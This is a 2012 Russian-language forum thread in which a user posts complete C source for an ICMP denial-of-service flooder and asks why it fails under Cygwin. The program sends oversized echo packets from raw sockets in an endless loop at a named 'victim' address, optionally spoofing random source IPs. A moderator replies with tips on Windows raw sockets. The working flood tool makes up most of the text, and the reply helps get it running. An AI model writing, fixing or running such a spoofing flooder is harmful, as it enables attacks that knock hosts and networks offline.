Модераторы: feodorv
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> sendto failed(): interrupted system call, Среда cygwin, используются сырые сокеты 
:(
    Опции темы
wondertalik
Дата 29.4.2012, 19:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 12
Регистрация: 19.3.2012

Репутация: нет
Всего: нет



Задача, реализовать icmp dos. В линуксе исходник работает на ура. В суgwin под виндой вылетает: sendto failed(): interrupted system call
Синтаксис: ./a.exe <source ip-address | random> <destination ip-address>
Код

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#include <strings.h>

struct iphdr {
    unsigned int ihl:4;
    unsigned int version:4;
    u_int8_t tos;
    u_int16_t tot_len;
    u_int16_t id;
    u_int16_t frag_off;
    u_int8_t ttl;
    u_int8_t protocol;
    u_int16_t check;
    u_int32_t saddr;
    u_int32_t daddr;
};

//стуктура для определения icmp заголовкак
struct icmp {
    u_int8_t icmp_type;
    u_int8_t icmp_code;
    u_int16_t icmp_cksum;
    union {
        struct ih_idseq
        {
            u_int16_t icd_id;
            u_int16_t icd_seq;
        } ih_idseq;
    } icmp_hun;
#define icmp_id            icmp_hun.ih_idseq.icd_id
#define icmp_seq            icmp_hun.ih_idseq.icd_seq
};
#define ICMP_ECHO 8


uint32_t in_chksum(unsigned short *addr, int len);
uint32_t resolve(char *hostaddr);


int main(int argc, char **argv) {
uint32_t sd, sd2, rnd = 0;
const int on = 1;
uint32_t dstaddr, srcaddr;
struct sockaddr_in servaddr;
//буфер, который равен размеру каждого отправляемого пакета
char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
struct iphdr *ip_hdr = (struct iphdr *)sendbuf;
struct icmp *icmp_hdr = (struct icmp *) (sendbuf+sizeof(struct iphdr));

/*создаем raw-сокет*/
    if((sd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
        perror("socket() failed");
        exit(-1);
    }
    
    /*так как заголовок заполняется самостоятельно, 
    устанавливается опция IP_HDRINCL*/    
    if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
        perror("setsockopt  IPPROTO_IP, IP_HDRINCL failed");
        exit(-1);
    }
    
    /*устанавливаем возможность посылать широковещательные сообщения*/
    if(setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0) {
        perror("setsockopt SOL_SOCKET, SO_BROADCAST failed");
        exit(-1);
    }
        /*если в первом аргументе командрой строки указано random
    то айпи адрес источника выбирается случайным образом*/
    if(!strcmp(argv[1], "random")) {
        rnd = 1;
        srcaddr = htonl(random());
    } else {
    srcaddr = resolve(argv[1]);
}
    /*айпи адрес жертвы*/
    dstaddr = resolve(argv[2]);

    char abuf[INET_ADDRSTRLEN];    
inet_ntop(AF_INET, &dstaddr, abuf, INET_ADDRSTRLEN);
printf("%s\n", abuf);
inet_ntop(AF_INET, &srcaddr, abuf, INET_ADDRSTRLEN);
printf("%s\n", abuf);
    
    
    
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = dstaddr;
    
    /*заполняем айпи заголовок*/
    ip_hdr->ihl = 5;
    ip_hdr->version = 4;
    ip_hdr->tos = 0;
    ip_hdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmp) + 1400);
    ip_hdr->id = 0;
    ip_hdr->frag_off=0;
    ip_hdr->ttl = 255;
    ip_hdr->protocol = IPPROTO_ICMP;
    ip_hdr->check = 0;
    ip_hdr->check = in_chksum((unsigned short *)ip_hdr, sizeof(struct iphdr));
    ip_hdr->saddr = srcaddr;
    ip_hdr->daddr = dstaddr;

    /*icmp заголовок*/
    icmp_hdr->icmp_type = ICMP_ECHO;
    icmp_hdr->icmp_code = 0;
    icmp_hdr->icmp_id = 1;
    icmp_hdr->icmp_seq = 1;
    icmp_hdr->icmp_cksum = 0;
    icmp_hdr->icmp_cksum = in_chksum((unsigned short *)icmp_hdr, sizeof(struct icmp) + 1400);

    
    /*в бесконечном цикле отправляем пакеты*/
    int i = 1;
    while(1) {
    printf("%d\n", i);
    if(sendto(sd, sendbuf, sizeof(sendbuf), 0, (struct sockaddr *)&servaddr, sizeof(servaddr)) < 0) {
        perror("sendto() failed");
        exit(-1);
    }
    
    /*взять новый случайный айпи источника, если в первом аргументе
    командной строки указано random*/
    if(rnd)
        ip_hdr->saddr=random();
    }

return 0;
}

//Возвращает айпи-адрес in_addr_t(uint32_t) или -1 в случае неудачи
uint32_t resolve(char *hostaddr) {
//переменые 
int sd, err;
//структури 
struct addrinfo *ailist=NULL, hint;
//структура адреса сокетов.
struct sockaddr_in *sin=NULL;
char *service = NULL;

//используется для задания дополнительных критериев адресов
hint.ai_flags = 0;
hint.ai_family = AF_INET;
hint.ai_socktype = 0;
hint.ai_protocol = 0;
hint.ai_addrlen = 0;
hint.ai_canonname = NULL;
hint.ai_addr = NULL;
hint.ai_next = NULL;

if((sd = getaddrinfo(hostaddr, service, &hint, &ailist))!=0) {
 printf("error getaddrinfo: %s\n", gai_strerror(err));
 exit(-1);
}
sin = (struct sockaddr_in *)ailist->ai_addr;
return sin->sin_addr.s_addr;
}

uint32_t in_chksum(unsigned short *addr, int len) {
    unsigned short result;
    unsigned int sum = 0;
    
    /*складываем все двухбайтовые слова */
    while(len > 1) {
        sum += *addr++;
        len -=2;
    }

    /*если остался лишний байт прибавляем его к сумме */
    if(len == 1)
        sum += *(unsigned char *) addr;
        
    sum = (sum >> 16) + (sum & 0xFFFF);
    /*добавляем перенос */
    sum += (sum >> 16);

    result= -sum;
    /*инвертируем результат*/
return result;
}


В чем беда? Как решить проблему?

PM MAIL   Вверх
feodorv
Дата 29.4.2012, 21:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Комодератор
Сообщений: 2214
Регистрация: 30.7.2011

Репутация: 10
Всего: 45



Бог его знает, вызывается ли предварительно WSAStartup(MAKEWORD(2, 2)...)  (но если доходит до sendto, то, вроде, всё в норме). Правда, возможна работа с первой версией библиотеки WinSock.
Работа с сырыми сокетами в виндах возможна только из под администратора (т.е. непривилегированный пользователь открыть сырой сокет может, а вот послать по нему - уже нет).
Sendto возвращает ошибку через WSAGetLastError(), а не через errno (хотя суgwin может это и компенсировать).
Возможно, при получении этой ошибки вызов нужно перезапустить (как и в UNIX'е).
А может, стоит предварительно перевести сокет в неблокируемое состояние:
Код

#ifdef __CYGWIN__
    set_socket_nonblock( sd, 1);
#endif 


PS 
Цитата(wondertalik @  29.4.2012,  20:43 Найти цитируемый пост)
printf("%d\n", i);

Наверное, имелось ввиду ++i


Это сообщение отредактировал(а) feodorv - 29.4.2012, 21:43


--------------------
Напильник, велосипед, грабли и костыли - основные инструменты программиста...
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
1 Пользователей читают эту тему (1 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Сети | Следующая тема »


 




[ Время генерации скрипта: 0.0601 ]   [ Использовано запросов: 21 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.